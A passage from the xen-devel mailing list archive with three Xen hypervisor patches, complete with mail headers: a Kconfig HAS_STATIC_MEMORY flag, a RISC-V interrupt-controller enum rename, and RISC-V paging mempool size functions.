	9UMFtJQL+W45of99g/Iy3ot/YF3Hp0mP4tOnxZjImzMfwesWYRbAqF3xklG6klt9CIL0tsfL+cU
	PkOf4Sx4MVsfCVHZXh1UJweLkzC4f7ITh+iqDyihyqGjOpIpT4wvNo+yfzVtbEf5Of3V1hUIjfG
	QAvILQUAusueKpkzGeUFJHh+RfVJ0TUSt32F4WJf7FqWHddZSxYLAkezm7Fg==
X-Received: by 2002:a05:600c:5309:b0:490:d38c:7836 with SMTP id 5b1f17b1804b1-493df082feemr14569175e9.3.1783353503768;
        Mon, 06 Jul 2026 08:58:23 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>
Subject: [PATCH v5 04/26] xen/Kconfig: introduce HAS_STATIC_MEMORY
Date: Mon,  6 Jul 2026 17:57:45 +0200
Message-ID: <39f6e7414696acad4a1257afaf067a832b165cc4.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1783353504-4D90E7C5-5340CAF2/10/73395122804
X-purgate-type: spam
X-purgate-size: 1962

Introduce HAS_STATIC_MEMORY so that STATIC_MEMORY can be enabled or
disabled on a per-architecture basis. ARM selects the new flag; RISC-V
does not, so CONFIG_STATIC_MEMORY is unavailable on RISC-V and
randconfig builds no longer require an explicit STATIC_MEMORY=n override
to avoid a compilation error.

Suggested-by: Jan Beulich <jbeulich@suse.com>
Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Reviewed-by: Jan Beulich <jbeulich@suse.com>
Reviewed-by: Michal Orzel <michal.orzel@amd.com>
---
Changes in v5:
 - Add R-by: Jan and Michal.
---
Changes in v4:
 - Reword the commit message to explain that HAS_STATIC_MEMORY allows
   STATIC_MEMORY to be {en,dis}abled per-arch, dropping the reference to
   guest_physmap_add_pages().
 - Split the STATIC_MEMORY dependency into two separate "depends on"
   lines.
---
Changes in v3:
 - New patch.
---
---
 xen/arch/arm/Kconfig | 1 +
 xen/common/Kconfig   | 4 ++++
 2 files changed, 5 insertions(+)

diff --git a/xen/arch/arm/Kconfig b/xen/arch/arm/Kconfig
index 683ab7d25a1e..d748404e82da 100644
--- a/xen/arch/arm/Kconfig
+++ b/xen/arch/arm/Kconfig
@@ -22,6 +22,7 @@ config ARM
 	select HAS_GRANT_CACHE_FLUSH if GRANT_TABLE
 	select HAS_SHARED_INFO
 	select HAS_STACK_PROTECTOR
+	select HAS_STATIC_MEMORY
 	select HAS_UBSAN
 
 config ARCH_DEFCONFIG
diff --git a/xen/common/Kconfig b/xen/common/Kconfig
index 8b48d84c79e8..5b289e444fa5 100644
--- a/xen/common/Kconfig
+++ b/xen/common/Kconfig
@@ -161,6 +161,9 @@ config HAS_SCHED_GRANULARITY
 config HAS_SHARED_INFO
 	bool
 
+config HAS_STATIC_MEMORY
+	bool
+
 config HAS_SOFT_RESET
 	bool
 
@@ -196,6 +199,7 @@ config NUMA
 
 config STATIC_MEMORY
 	bool "Static Allocation Support (UNSUPPORTED)" if UNSUPPORTED
+	depends on HAS_STATIC_MEMORY
 	depends on DOM0LESS_BOOT && HAS_DEVICE_TREE_DISCOVERY
 	help
 	  Static Allocation refers to system or sub-system(domains) for
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355490.1610309 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliF-0007Yu-HT; Mon, 06 Jul 2026 15:58:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355490.1610309; Mon, 06 Jul 2026 15:58:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliF-0007Y4-D0; Mon, 06 Jul 2026 15:58:27 +0000
Received: by outflank-mailman (input) for mailman id 1355490;
 Mon, 06 Jul 2026 15:58:26 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliE-00079r-6x
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliD-00AcWu-Jw
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:25 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd08f-bab6-0a2a0a5309dd-0a2a4506e170-26
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:25 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0a1-08de-0a2a45060019-d155802ad59b-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:25 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-490cf322ed0so20514595e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:25 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.23
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:24 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353505; x=1783958305; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=9q2co12X66hZII96yfXyVBuNaa4Dm4OQ/7bOcOdJkmg=;
        b=pkKJY2ZNLOC1OP1CxWM6pdNT/UswtOEbgfw5N/fnvRsNQnrslXJ98+n2uWbF7vO0m5
         MVnrL0wjWHK93fmGPobkdyohAxShzhuVwIbayZp1iNjT4NdND3CTReXMsQNvWlHD0P5F
         JnXfKKCNue0x4lMqhX2NGB9RjA0W5q6FrlivGTiPJ0JuDFWsbM6C5jVkazwwohm8tagY
         RakP005c/yBtZC1r09sN1LAea32O/9bT/9oo/v+LWus1RcbvYMV6kJEidPZKj7AKINgX
         nqxvwWQ8j5oZ62c6ef181lHeDhG8H3WWMeLWt89x4DJGwmI/IP8X+LyYBghYy+P4vs40
         cKiQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353505; x=1783958305;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=9q2co12X66hZII96yfXyVBuNaa4Dm4OQ/7bOcOdJkmg=;
        b=rNEQh488YTBwfJuB98f521NJIvKfNWxJ9N2ShdXVsfQcrCRqHTard3oXN3WT5+2HmD
         PgzkNJdT0/MRbHQdpzmmBG+f6izVm6e3CSABmC9ve76rJ4HyPpv+zVRMHFdK5T8+WmuH
         UTVwDtLZ4c8fvVsfAUwqD5acj5qFylrZiApd+k+vJx/vlAsJEGYCJTtu5dmgw+F239aE
         U+hXblbbBkNl+EITQ2u1BKiMBHdlGu0GmCchtxKvoBtoZS4wqK7ZDiEtDl8+ALDYq0JG
         jx7DsM1njZj3qLTUXr17IhJdOqi2BNz3Ps1Rebe9p5R3JlSKf0bz1T8qwHgOdjAJpyWA
         k6BA==
X-Gm-Message-State: AOJu0YyIgnvkxSMxBJB98t8rK40B2CSaQv9+2oxK03Ki+nb4F6bfXQHK
	trALtg/hCYYPsNryUHHYN0cHBpijXIpKjvjlRbJwEBCIYXOIpoZshkXKllU/Jw==
X-Gm-Gg: AfdE7cnjue2Hj46PsFK7LF++I1oAC787WsVDiopi7Odjr8McbqTdvCaEfnaOTCOV30C
	Ag9FTsLlsA/k+AE7S9VLoadfWHK7+KhtURZNftDFrzkcHv06dsezm0mQdirtbDyJmzyM1DryPj0
	u7MiePNtfYvgwifkf53Uc15pCMQFcOGKztp1PVdgx6r8LKEuLLlOPZvg1FYU8HD+74d8gwp9X40
	6VbNb6h/YvMA1qq4jmZ6RJLEdEkdU7tRQsa+2TTjeR6EsOUPCBzH4+fWZlYDYKWA1WnRJunRDV7
	yO1DRomUlF8KmtV8yOVtL2DYQhK5t8o+q18OcHivhlEzIaf5qyyrxTqUrw7atcBSzUlbwvflwGB
	gyDXJZduzzgg4LiQvDD19s/5zc+BKPLsYbbZ7soJ6Bq16mTA0/rGfpav1XQbL1Hi6idKoOPQKEh
	j4hFh0DUXD9Rr7VleBVVuPhBs8K7izeqP8yZL3b4DiXxkVcZEQBPBJOOX5sg==
X-Received: by 2002:a05:600c:4585:b0:493:bc4a:fb55 with SMTP id 5b1f17b1804b1-493df09e3cbmr14351095e9.38.1783353505030;
        Mon, 06 Jul 2026 08:58:25 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 05/26] xen/riscv: rename enum intc_version to intc_variant
Date: Mon,  6 Jul 2026 17:57:46 +0200
Message-ID: <d8a27698b82abc2044ae33887af8132aa749c1f2.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1783353505-4272068D-547A0081/10/73395122804
X-purgate-type: spam
X-purgate-size: 1633

Rename the enum to intc_variant and the structure member from hw_version
to hw_variant to better reflect that these values select between
different controller variants, not versions of the same one.

Suggested-by: Jan Beulich <jbeulich@suse.com>
Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5:
 - Add Suggested-by and Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v4:
 - New patch. Prereq for the next patch.
---
---
 xen/arch/riscv/aplic.c            | 2 +-
 xen/arch/riscv/include/asm/intc.h | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/xen/arch/riscv/aplic.c b/xen/arch/riscv/aplic.c
index 739e8dab3498..6a1255c5f403 100644
--- a/xen/arch/riscv/aplic.c
+++ b/xen/arch/riscv/aplic.c
@@ -35,7 +35,7 @@ static struct aplic_priv aplic = {
 };
 
 static struct intc_info __ro_after_init aplic_info = {
-    .hw_version = INTC_APLIC,
+    .hw_variant = INTC_APLIC,
 };
 
 static void __init aplic_init_hw_interrupts(void)
diff --git a/xen/arch/riscv/include/asm/intc.h b/xen/arch/riscv/include/asm/intc.h
index ecdc8a5e6577..675f703ec97f 100644
--- a/xen/arch/riscv/include/asm/intc.h
+++ b/xen/arch/riscv/include/asm/intc.h
@@ -10,7 +10,7 @@
 
 struct dt_device_node;
 
-enum intc_version {
+enum intc_variant {
     INTC_APLIC,
 };
 
@@ -18,7 +18,7 @@ struct cpu_user_regs;
 struct irq_desc;
 
 struct intc_info {
-    enum intc_version hw_version;
+    enum intc_variant hw_variant;
     const struct dt_device_node *node;
 
     /* number of irqs */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355492.1610318 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliG-0007rA-UD; Mon, 06 Jul 2026 15:58:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355492.1610318; Mon, 06 Jul 2026 15:58:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliG-0007qA-Pa; Mon, 06 Jul 2026 15:58:28 +0000
Received: by outflank-mailman (input) for mailman id 1355492;
 Mon, 06 Jul 2026 15:58:27 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliF-0007Zt-NN
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliF-003COz-3r
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:27 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd092-2eae-0a2a0a5409dd-0a2a4502b80a-26
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:27 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0a2-5a27-0a2a45020019-d1558036d0a9-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:27 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-493bf73ec2aso20502945e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:27 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.25
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:25 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353506; x=1783958306; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=5zepiqiigHvqnD5vmRfX34e8SW56sHhvkSvrCXNFv4E=;
        b=LFW2WjF2POOi8jJKr7fZeZFd5rPclj6txlkeQWpV/dBgDiaB830mLPyfi7++yD3r0C
         PR39wjH15RsDblBRjEFMGyS7myzgU6z2FlXUZxGTnYJmU9AyNa4yON6v3zbMcsg60Dft
         1mj3/De9vBzygsGRiI6DbhuFY/Kad2rla6J6B39++vYdeXd9czTMRw+Zyx1BiNgTM5A7
         I4ZI29spYH3XT0v+fqCvx6IDMsUEzZVQw0uDBnbMxFZ1Ub7kKzwR7LS+nRfjA8Z7Ex4/
         sc+PrV3Gph/+SSLLbUSALVOW5IGsGqyk3sx1/3Pw4YkjNMV4Lnj4mfsWyTfcnlQg5h7b
         Qtug==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353506; x=1783958306;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=5zepiqiigHvqnD5vmRfX34e8SW56sHhvkSvrCXNFv4E=;
        b=fkRHHWXkwRvfA2O4aQ/DllJKwyig6BvUbq8XGkFuihVbQF+d0DeaATv/z8DV+0h+rM
         OWQbeort8fiCNw/R6/IwWgvBypgVrYver945qAvjNCx8Zgnwy5UpiL77h8j8jo0RsaIe
         x+JV67va3IgGhqHJG7SrnQ6nIec9gLOUMLkQm2c7lxbFAfqjLX3Q4eJGRmyHGwJ2vmyv
         hc85RTRlHQRO2MtoBUD1edaRWmvZBhPsJJTe9Vk/CQtqI1Q2aAIo70DkaU+PWZTbbXTI
         jERG8GymeMg7RcZcW4d2x0n66KKHPgooryTSTgBOjwI8mZZAZmyFQQth3eeB1+xVY9CC
         2v4Q==
X-Gm-Message-State: AOJu0YxSBSWHDNOhi6ck8EshOPCbN+vcnbfXCdYxS39sAXZ+wnZoLHaw
	+YgbL2ATFh1yBQdksp7mAEG+RmLszEE7Q/4Ll9FzTQxulRyVif944xLfRQW+AA==
X-Gm-Gg: AfdE7clBoGDZa1AW3hfawNffKgAjRXsPtLAcqJaUhmOcXnKbY7mNrGM5U4V1leOls4K
	5Yo9J9uBZtm+hvdc0V6by0LfPBTnMHcnetWsPideYiGTN3vCE8vsvdlzbpFqjLzl4VAxzmXoS/B
	qp5IJvWw9gW9EA9Gn8CCy1lUZjRfFvQGsyevzOel3k053gHp6QlVGnkyAhlQhad4pt4HTUVAYOb
	xcNYmzENpFC94plLYtyBxSuou7ZExZMLGh+qDizmPYXFd7JXogjBkE9yMp2sirATSuiCCsAlaUe
	5Y1cxclLb0rYVr+lR14zOdxFsuQQdmOXTHKlE9whveAHJ1vkNKSNyHzKR8wFkLWnDW/ehZlmMRQ
	CnOqWczbUEGsHdYsiDZuKK8rdwZPk046RA6tbJc/rarYu7xitkhsSht7g56eIDNQQYvSOUApE5e
	em7q24QRWzJJ2UuMF10bkaS6tqDs9ooAckMTCX0oV670WysUj9GzlqhFhlIQ==
X-Received: by 2002:a05:600c:474a:b0:493:b499:3ef2 with SMTP id 5b1f17b1804b1-493df0b5b14mr13478395e9.37.1783353506490;
        Mon, 06 Jul 2026 08:58:26 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 06/26] xen/riscv: Implement ARCH_PAGING_MEMPOOL
Date: Mon,  6 Jul 2026 17:57:47 +0200
Message-ID: <8e82427407ad321ef8d992d2d4e0a6370e7b92c1.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1783353507-4E5147C5-DD3A2495/10/73395122804
X-purgate-type: spam
X-purgate-size: 2633

The p2m_freelist is used to allocate pages for the P2M. To initialize
this list, domain_p2m_set_allocation() may be called from construct_domU()
in the common Dom0less code, so RISC-V provides an implementation and
enables CONFIG_ARCH_PAGING_MEMPOOL unconditionally.

Additionally, implement arch_{set,get}_paging_mempool_size(). They are
not directly used yet, but are required to support the
XEN_DOMCTL_{get,set}_paging_mempool_size hypercalls.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v4-v5:
 - Nothing changed. Only rebase.
---
Changes in v3:
 - Drop stray blank space in arch_get_paging_mempool_size().
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
Changes in v2:
 - Turn on CONFIG_ARCH_PAGING_MEMPOOL=y unconditionally and drop all ifdef-s
   related to this config.
 - Optimize check inside arch_set_paging_mempool_size which verify size
   argument.
 - Use pfn_to_paddr() inside arch_get_paging_mempool_size() instead of open
   coding the stuff.
 - Drop ASSERT() from arch_set_paging_mempool_size() as it is impossible to
   have here preempted = true and rc != -ERESTART.
---
---
 xen/arch/riscv/Kconfig |  1 +
 xen/arch/riscv/p2m.c   | 24 ++++++++++++++++++++++++
 2 files changed, 25 insertions(+)

diff --git a/xen/arch/riscv/Kconfig b/xen/arch/riscv/Kconfig
index 41426c205292..48520588fe40 100644
--- a/xen/arch/riscv/Kconfig
+++ b/xen/arch/riscv/Kconfig
@@ -1,5 +1,6 @@
 config RISCV
 	def_bool y
+	select ARCH_PAGING_MEMPOOL
 	select DOMAIN_BUILD_HELPERS
 	select FUNCTION_ALIGNMENT_16B
 	select GENERIC_BUG_FRAME
diff --git a/xen/arch/riscv/p2m.c b/xen/arch/riscv/p2m.c
index 566266e3e78f..1cea86512c8c 100644
--- a/xen/arch/riscv/p2m.c
+++ b/xen/arch/riscv/p2m.c
@@ -1600,3 +1600,27 @@ struct page_info *get_page_from_gfn(struct domain *d, unsigned long gfn,
 
     return p2m_get_page_from_gfn(p2m_get_hostp2m(d), _gfn(gfn), t);
 }
+
+int arch_set_paging_mempool_size(struct domain *d, uint64_t size)
+{
+    unsigned long pages = PFN_DOWN(size);
+    int rc;
+
+    /* Non page-sized request or 32-bit overflow? */
+    if ( pfn_to_paddr(pages) != size )
+        return -EINVAL;
+
+    spin_lock(&d->arch.paging.lock);
+    rc = p2m_set_allocation(d, pages, true);
+    spin_unlock(&d->arch.paging.lock);
+
+    return rc;
+}
+
+/* Return the size of the pool, in bytes. */
+int arch_get_paging_mempool_size(struct domain *d, uint64_t *size)
+{
+    *size = pfn_to_paddr(ACCESS_ONCE(d->arch.paging.total_pages));
+
+    return 0;
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355493.1610328 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliI-00088j-Ee; Mon, 06 Jul 2026 15:58:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355493.1610328; Mon, 06 Jul 2026 15:58:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliI-00088S-9c; Mon, 06 Jul 2026 15:58:30 +0000
Received: by outflank-mailman (input) for mailman id 1355493;
 Mon, 06 Jul 2026 15:58:29 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliH-0007ta-9J
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliG-003COz-MK
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:28 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd092-2eae-0a2a0a5409dd-0a2a4502b80a-30
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:28 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0a4-5a27-0a2a45020019-d1558031d16c-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:28 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-493c59f740cso22407835e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:28 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.26
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:27 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353508; x=1783958308; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=hLy3qyx924BwMCcddx6KluNT1kSq6alsUk5vcF9j5ys=;
        b=Ik/sDORWAvy5pbB9ArKmqNnPtyhxbWROlpS5mG2HXJyjVbtKUkhL+0cJwp8sLOoLic
         d8MldxFUAaB9D+1EGcLgY+ltTcnnA1kdcrkjhHqzuy0Xnpqcqz5dvAGclFUP/TNxCC2l
         zNydx4khxzHpOIVddCBWXZaOwIK6S7B5C8C2TJz8yacIyuwxORPep2fbm8wLtacuAwi8
         oUYEbARg1BJNrA6zNHV074n+S8dGzUaDafjjUBvnQ/jPRzVVHx4KBnt2rl/4vC6u/l+D
         FVJtYNGXFhxyu9gTcYBh4H7aepnAZ6CyaqBlT9VLxm5C44/Q3aKoDd53VbxJFzrW1yj0
         KTYQ==
